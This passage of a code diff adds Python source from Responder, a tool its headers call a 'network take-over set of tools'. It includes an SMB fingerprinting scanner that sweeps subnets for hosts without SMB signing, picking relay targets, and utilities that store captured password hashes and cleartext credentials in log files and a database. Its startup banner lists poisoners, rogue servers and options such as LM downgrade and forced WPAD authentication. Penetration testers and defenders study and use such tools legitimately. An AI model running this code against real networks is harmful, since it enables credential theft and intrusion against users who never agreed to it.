+    fields = OrderedDict([
+        ("BuffType","\x02"),
+        ("Dialect", "NT LM 0.12\x00"),
+    ])
+
+
+class SMBSessionFingerData(Packet):
+    fields = OrderedDict([
+        ("wordcount", "\x0c"),
+        ("AndXCommand", "\xff"),
+        ("reserved","\x00" ),
+        ("andxoffset", "\x00\x00"),
+        ("maxbuff","\x04\x11"),
+        ("maxmpx", "\x32\x00"),
+        ("vcnum","\x00\x00"),
+        ("sessionkey", "\x00\x00\x00\x00"),
+        ("securitybloblength","\x4a\x00"),
+        ("reserved2","\x00\x00\x00\x00"),
+        ("capabilities", "\xd4\x00\x00\xa0"),
+        ("bcc1",""),
+        ("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
+
+    ])
+    def calculate(self):
+        self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
+
+##Now Lanman
+class SMBHeaderLanMan(Packet):
+    fields = OrderedDict([
+        ("proto", "\xff\x53\x4d\x42"),
+        ("cmd", "\x72"),
+        ("error-code", "\x00\x00\x00\x00" ),
+        ("flag1", "\x08"),
+        ("flag2", "\x01\xc8"),
+        ("pidhigh", "\x00\x00"),
+        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+        ("reserved", "\x00\x00"),
+        ("tid", "\x00\x00"),
+        ("pid", "\x3c\x1b"),
+        ("uid", "\x00\x00"),
+        ("mid", "\x00\x00"),
+    ])
+
+class SMBNegoDataLanMan(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x00"),
+        ("Bcc", "\x54\x00"),
+        ("BuffType","\x02"),
+        ("Dialect", "NT LM 0.12\x00"),
+
+    ])
+    def calculate(self):
+        CalculateBCC = str(self.fields["BuffType"])+str(self.fields["Dialect"])
+        self.fields["Bcc"] = struct.pack("<h",len(CalculateBCC))
+
+#####################
+
+def color(txt, code = 1, modifier = 0):
+	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+def IsSigningEnabled(data): 
+    if data[39] == "\x0f":
+        return True
+    else:
+        return False
+
+def atod(a): 
+    return struct.unpack("!L",inet_aton(a))[0]
+
+def dtoa(d): 
+    return inet_ntoa(struct.pack("!L", d))
+
+def OsNameClientVersion(data):
+	try:
+		length = struct.unpack('<H',data[43:45])[0]
+		OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
+		return OsVersion, ClientVersion
+
+	except:
+	 	return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
+
+def GetHostnameAndDomainName(data):
+	try:
+		DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
+		return Hostname, DomainJoined
+	except:
+	 	return "Could not get Hostname.", "Could not get Domain joined"
+
+def DomainGrab(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       print "Host down or port close, skipping"
+       pass
+    try:
+       h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
+       n = SMBNegoDataLanMan()
+       n.calculate()
+       packet0 = str(h)+str(n)
+       buffer0 = longueur(packet0)+packet0
+       s.send(buffer0)
+       data = s.recv(2048)
+       s.close()
+       if data[8:10] == "\x72\x00":
+          return GetHostnameAndDomainName(data)
+    except:
+       pass 
+
+def SmbFinger(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       print "Host down or port close, skipping"
+       pass
+    try:     
+       h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
+       n = SMBNego(Data = SMBNegoData())
+       n.calculate()
+       packet0 = str(h)+str(n)
+       buffer0 = longueur(packet0)+packet0
+       s.send(buffer0)
+       data = s.recv(2048)
+       signing = IsSigningEnabled(data)
+       if data[8:10] == "\x72\x00":
+          head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
+          t = SMBSessionFingerData()
+          t.calculate() 
+          packet0 = str(head)+str(t)
+          buffer1 = longueur(packet0)+packet0  
+          s.send(buffer1) 
+          data = s.recv(2048)
+          s.close()
+       if data[8:10] == "\x73\x16":
+          OsVersion, ClientVersion = OsNameClientVersion(data)
+          return signing, OsVersion, ClientVersion
+    except:
+       pass
+##################
+#run it
+def ShowResults(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       return False
+
+    try:
+       Hostname, DomainJoined = DomainGrab(Host)
+       Signing, OsVer, LanManClient = SmbFinger(Host)
+       enabled  = color("SMB signing is mandatory. Choose another target", 1, 1)
+       disabled = color("SMB signing: False", 2, 1)
+       print color("Retrieving information for %s..."%Host[0], 8, 1)
+       print enabled if Signing else disabled
+       print color("Os version: '%s'"%(OsVer), 8, 3)
+       print color("Hostname: '%s'\nPart of the '%s' domain"%(Hostname, DomainJoined), 8, 3)
+    except:
+       pass
+
+def ShowSmallResults(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       return False
+
+    try:
+       Hostname, DomainJoined = DomainGrab(Host)
+       Signing, OsVer, LanManClient = SmbFinger(Host)
+       Message = color("\n[+] Client info: ['%s', domain: '%s', signing:'%s']"%(OsVer, DomainJoined, Signing),4,0)
+       return Message
+    except:
+       pass
+
+
+def RunFinger(Host):
+    m = re.search("/", str(Host))
+    if m :
+       net,_,mask = Host.partition('/')
+       mask = int(mask)
+       net = atod(net)
+       for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
+           ShowResults((host,445))
+    else:
+       ShowResults((Host,445))   
+

tools/SMBFinger/odict.py

@@ -0,0 +1,106 @@
+from UserDict import DictMixin
+
+class OrderedDict(dict, DictMixin):
+
+    def __init__(self, *args, **kwds):
+        if len(args) > 1:
+            raise TypeError('expected at most 1 arguments, got %d' % len(args))
+        try:
+            self.__end
+        except AttributeError:
+            self.clear()
+        self.update(*args, **kwds)
+
+    def clear(self):
+        self.__end = end = []
+        end += [None, end, end]
+        self.__map = {} 
+        dict.clear(self)
+
+    def __setitem__(self, key, value):
+        if key not in self:
+            end = self.__end
+            curr = end[1]
+            curr[2] = end[1] = self.__map[key] = [key, curr, end]
+        dict.__setitem__(self, key, value)
+
+    def __delitem__(self, key):
+        dict.__delitem__(self, key)
+        key, prev, next = self.__map.pop(key)
+        prev[2] = next
+        next[1] = prev
+
+    def __iter__(self):
+        end = self.__end
+        curr = end[2]
+        while curr is not end:
+            yield curr[0]
+            curr = curr[2]
+
+    def __reversed__(self):
+        end = self.__end
+        curr = end[1]
+        while curr is not end:
+            yield curr[0]
+            curr = curr[1]
+
+    def popitem(self, last=True):
+        if not self:
+            raise KeyError('dictionary is empty')
+        if last:
+            key = reversed(self).next()
+        else:
+            key = iter(self).next()
+        value = self.pop(key)
+        return key, value
+
+    def __reduce__(self):
+        items = [[k, self[k]] for k in self]
+        tmp = self.__map, self.__end
+        del self.__map, self.__end
+        inst_dict = vars(self).copy()
+        self.__map, self.__end = tmp
+        if inst_dict:
+            return (self.__class__, (items,), inst_dict)
+        return self.__class__, (items,)
+
+    def keys(self):
+        return list(self)
+
+    setdefault = DictMixin.setdefault
+    update = DictMixin.update
+    pop = DictMixin.pop
+    values = DictMixin.values
+    items = DictMixin.items
+    iterkeys = DictMixin.iterkeys
+    itervalues = DictMixin.itervalues
+    iteritems = DictMixin.iteritems
+
+    def __repr__(self):
+        if not self:
+            return '%s()' % (self.__class__.__name__,)
+        return '%s(%r)' % (self.__class__.__name__, self.items())
+
+    def copy(self):
+        return self.__class__(self)
+
+    @classmethod
+    def fromkeys(cls, iterable, value=None):
+        d = cls()
+        for key in iterable:
+            d[key] = value
+        return d
+
+    def __eq__(self, other):
+        if isinstance(other, OrderedDict):
+            return len(self)==len(other) and \
+                   min(p==q for p, q in  zip(self.items(), other.items()))
+        return dict.__eq__(self, other)
+
+    def __ne__(self, other):
+        return not self == other
+
+
+if __name__ == '__main__':
+    d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
+    assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']

tools/odict.py

@@ -0,0 +1,117 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+from UserDict import DictMixin
+
+class OrderedDict(dict, DictMixin):
+
+    def __init__(self, *args, **kwds):
+        if len(args) > 1:
+            raise TypeError('expected at most 1 arguments, got %d' % len(args))
+        try:
+            self.__end
+        except AttributeError:
+            self.clear()
+        self.update(*args, **kwds)
+
+    def clear(self):
+        self.__end = end = []
+        end += [None, end, end]
+        self.__map = {}
+        dict.clear(self)
+
+    def __setitem__(self, key, value):
+        if key not in self:
+            end = self.__end
+            curr = end[1]
+            curr[2] = end[1] = self.__map[key] = [key, curr, end]
+        dict.__setitem__(self, key, value)
+
+    def __delitem__(self, key):
+        dict.__delitem__(self, key)
+        key, prev, next = self.__map.pop(key)
+        prev[2] = next
+        next[1] = prev
+
+    def __iter__(self):
+        end = self.__end
+        curr = end[2]
+        while curr is not end:
+            yield curr[0]
+            curr = curr[2]
+
+    def __reversed__(self):
+        end = self.__end
+        curr = end[1]
+        while curr is not end:
+            yield curr[0]
+            curr = curr[1]
+
+    def popitem(self, last=True):
+        if not self:
+            raise KeyError('dictionary is empty')
+        if last:
+            key = reversed(self).next()
+        else:
+            key = iter(self).next()
+        value = self.pop(key)
+        return key, value
+
+    def __reduce__(self):
+        items = [[k, self[k]] for k in self]
+        tmp = self.__map, self.__end
+        del self.__map, self.__end
+        inst_dict = vars(self).copy()
+        self.__map, self.__end = tmp
+        if inst_dict:
+            return self.__class__, (items,), inst_dict
+        return self.__class__, (items,)
+
+    def keys(self):
+        return list(self)
+
+    setdefault = DictMixin.setdefault
+    update = DictMixin.update
+    pop = DictMixin.pop
+    values = DictMixin.values
+    items = DictMixin.items
+    iterkeys = DictMixin.iterkeys
+    itervalues = DictMixin.itervalues
+    iteritems = DictMixin.iteritems
+
+    def __repr__(self):
+        if not self:
+            return '%s()' % (self.__class__.__name__,)
+        return '%s(%r)' % (self.__class__.__name__, self.items())
+
+    def copy(self):
+        return self.__class__(self)
+
+    @classmethod
+    def fromkeys(cls, iterable, value=None):
+        d = cls()
+        for key in iterable:
+            d[key] = value
+        return d
+
+    def __eq__(self, other):
+        if isinstance(other, OrderedDict):
+            return len(self)==len(other) and \
+                   min(p==q for p, q in  zip(self.items(), other.items()))
+        return dict.__eq__(self, other)
+
+    def __ne__(self, other):
+        return not self == other

utils.py

@@ -0,0 +1,339 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import os
+import sys
+import re
+import logging
+import socket
+import time
+import settings
+import datetime
+
+def RandomChallenge():
+    if settings.Config.NumChal == "random":
+       from random import getrandbits
+       NumChal = '%0x' % getrandbits(16 * 4)
+       Challenge = ''
+       for i in range(0, len(NumChal),2):
+	   Challenge += NumChal[i:i+2].decode("hex")
+       return Challenge
+    else:
+       return settings.Config.Challenge
+
+def HTTPCurrentDate():
+    Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
+    return Date
+try:
+	import sqlite3
+except:
+	print "[!] Please install python-sqlite3 extension."
+	sys.exit(0)
+
+def color(txt, code = 1, modifier = 0):
+	if txt.startswith('[*]'):
+		settings.Config.PoisonersLogger.warning(txt)
+	elif 'Analyze' in txt:
+		settings.Config.AnalyzeLogger.warning(txt)
+
+	if os.name == 'nt':  # No colors for windows...
+		return txt
+	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+def text(txt):
+        stripcolors = re.sub(r'\x1b\[([0-9,A-Z]{1,2}(;[0-9]{1,2})?(;[0-9]{3})?)?[m|K]?', '', txt)
+        logging.info(stripcolors)
+	if os.name == 'nt':
+		return txt
+	return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
+
+def IsOnTheSameSubnet(ip, net):
+	net += '/24'
+	ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
+	netstr, bits = net.split('/')
+	netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
+	mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
+	return (ipaddr & mask) == (netaddr & mask)
+
+def RespondToThisIP(ClientIp):
+
+	if ClientIp.startswith('127.0.0.'):
+		return False
+	elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
+		print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp
+		return False
+	elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo:
+		return False
+	elif ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
+		if ClientIp not in settings.Config.DontRespondTo:
+			return True
+	return False
+
+def RespondToThisName(Name):
+	if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
+		return False
+	elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
+		if Name.upper() not in settings.Config.DontRespondToName:
+			return True
+	return False
+
+def RespondToThisHost(ClientIp, Name):
+	return RespondToThisIP(ClientIp) and RespondToThisName(Name)
+
+def RespondWithIPAton():
+       if settings.Config.ExternalIP:
+               return settings.Config.ExternalIPAton
+       else:
+               return settings.Config.IP_aton
+
+def OsInterfaceIsSupported():
+	if settings.Config.Interface != "Not set":
+		return not IsOsX()
+	return False
+
+def IsOsX():
+	return sys.platform == "darwin"
+
+def FindLocalIP(Iface, OURIP):
+	if Iface == 'ALL':
+		return '0.0.0.0'
+
+	try:
+		if IsOsX():
+			return OURIP
+		elif OURIP == None:
+			s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+			s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
+			s.connect(("127.0.0.1",9))#RFC 863
+			ret = s.getsockname()[0]
+			s.close()
+			return ret
+		return OURIP
+	except socket.error:
+		print color("[!] Error: %s: Interface not found" % Iface, 1)
+		sys.exit(-1)
+
+# Function used to write captured hashs to a file.
+def WriteData(outfile, data, user):
+	logging.info("[*] Captured Hash: %s" % data)
+	if not os.path.isfile(outfile):
+		with open(outfile,"w") as outf:
+			outf.write(data + '\n')
+		return
+	with open(outfile,"r") as filestr:
+		if re.search(user.encode('hex'), filestr.read().encode('hex')):
+			return False
+		elif re.search(re.escape("$"), user):
+			return False
+	with open(outfile,"a") as outf2:
+		outf2.write(data + '\n')
+
+# Function used to write debug config and network info.
+def DumpConfig(outfile, data):
+	with open(outfile,"a") as dump:
+		dump.write(data + '\n')
+
+def SaveToDb(result):
+	# Creating the DB if it doesn't exist
+	if not os.path.exists(settings.Config.DatabaseFile):
+		cursor = sqlite3.connect(settings.Config.DatabaseFile)
+		cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
+		cursor.commit()
+		cursor.close()
+
+	for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
+		if not k in result:
+			result[k] = ''
+
+	if len(result['user']) < 2:
+		return
+
+	if len(result['cleartext']):
+		fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
+	else:
+		fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
+	
+	logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
+
+	cursor = sqlite3.connect(settings.Config.DatabaseFile)
+	cursor.text_factory = sqlite3.Binary  # We add a text factory to support different charsets
+	res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
+	(count,) = res.fetchone()
+        
+	if not count:
+		with open(logfile,"a") as outf:
+			if len(result['cleartext']):  # If we obtained cleartext credentials, write them to file
+				outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
+			else:  # Otherwise, write JtR-style hash string to file
+				outf.write(result['fullhash'].encode('utf8', 'replace') + '\n')
+
+		cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
+		cursor.commit()
+
+        if settings.Config.CaptureMultipleHashFromSameHost:
+		with open(logfile,"a") as outf:
+			if len(result['cleartext']):  # If we obtained cleartext credentials, write them to file
+				outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
+			else:  # Otherwise, write JtR-style hash string to file
+				outf.write(result['fullhash'].encode('utf8', 'replace') + '\n')
+
+	if not count or settings.Config.Verbose:  # Print output
+		if len(result['client']):
+			print text("[%s] %s Client   : %s" % (result['module'], result['type'], color(result['client'], 3)))
+
+		if len(result['hostname']):
+			print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
+
+		if len(result['user']):
+			print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
+
+		# Bu order of priority, print cleartext, fullhash, or hash
+		if len(result['cleartext']):
+			print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
+
+		elif len(result['fullhash']):
+			print text("[%s] %s Hash     : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))
+
+		elif len(result['hash']):
+			print text("[%s] %s Hash     : %s" % (result['module'], result['type'], color(result['hash'], 3)))
+
+		# Appending auto-ignore list if required
+		# Except if this is a machine account's hash
+		if settings.Config.AutoIgnore and not result['user'].endswith('$'):
+			settings.Config.AutoIgnoreList.append(result['client'])
+			print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
+	else:
+		print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1)
+		text('[*] Skipping previously captured hash for %s' % result['user'])
+		cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
+		cursor.commit()
+	cursor.close()
+
+
+def Parse_IPV6_Addr(data):
+	if data[len(data)-4:len(data)][1] =="\x1c":
+		return False
+	elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
+		return True
+	elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
+		return True
+	return False
+
+def Decode_Name(nbname):  #From http://code.google.com/p/dpkt/ with author's permission.
+	try:
+		from string import printable
+
+		if len(nbname) != 32:
+			return nbname
+		
+		l = []
+		for i in range(0, 32, 2):
+			l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
+		
+		return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
+	except:
+		return "Illegal NetBIOS name"
+
+
+def NBT_NS_Role(data):
+	return {
+		"\x41\x41\x00":"Workstation/Redirector",
+		"\x42\x4c\x00":"Domain Master Browser",
+		"\x42\x4d\x00":"Domain Controller",
+		"\x42\x4e\x00":"Local Master Browser",
+		"\x42\x4f\x00":"Browser Election",
+		"\x43\x41\x00":"File Server",
+		"\x41\x42\x00":"Browser",
+	}.get(data, 'Service not known')
+
+
+def banner():
+	banner = "\n".join([
+		'                                         __',
+		'  .----.-----.-----.-----.-----.-----.--|  |.-----.----.',
+		'  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|',
+		'  |__| |_____|_____|   __|_____|__|__|_____||_____|__|',
+		'                   |__|'
+	])
+
+	print banner
+	print "\n           \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
+	print ""
+	print "  Author: Laurent Gaffie (laurent.gaffie@gmail.com)"
+	print "  To kill this script hit CRTL-C"
+	print ""
+
+
+def StartupMessage():
+	enabled  = color('[ON]', 2, 1) 
+	disabled = color('[OFF]', 1, 1)
+
+	print ""
+	print color("[+] ", 2, 1) + "Poisoners:"
+	print '    %-27s' % "LLMNR" + enabled
+	print '    %-27s' % "NBT-NS" + enabled
+	print '    %-27s' % "DNS/MDNS" + enabled
+	print ""
+
+	print color("[+] ", 2, 1) + "Servers:"
+	print '    %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
+	print '    %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
+	print '    %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
+	print '    %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled)
+	print '    %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
+	print '    %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
+	print '    %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
+	print '    %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)
+	print '    %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)
+	print '    %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)
+	print '    %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
+	print '    %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
+	print '    %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
+	print ""
+
+	print color("[+] ", 2, 1) + "HTTP Options:"
+	print '    %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)
+	print '    %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled)
+	print '    %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)
+	print '    %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)
+	#print '    %-27s' % "WPAD script" + settings.Config.WPAD_Script
+	print ""
+
+	print color("[+] ", 2, 1) + "Poisoning Options:"
+	print '    %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled)
+	print '    %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)
+	print '    %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)
+	print '    %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)
+	print '    %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)
+	print ""
+
+	print color("[+] ", 2, 1) + "Generic Options:"
+	print '    %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)
+	print '    %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)
+	print '    %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)
+
+	if settings.Config.Upstream_Proxy:
+		print '    %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
+	if len(settings.Config.RespondTo):
+		print '    %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
+	if len(settings.Config.RespondToName):
+		print '    %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
+	if len(settings.Config.DontRespondTo):
+		print '    %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
+	if len(settings.Config.DontRespondToName):
+		print '    %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
+	print "\n\n"
+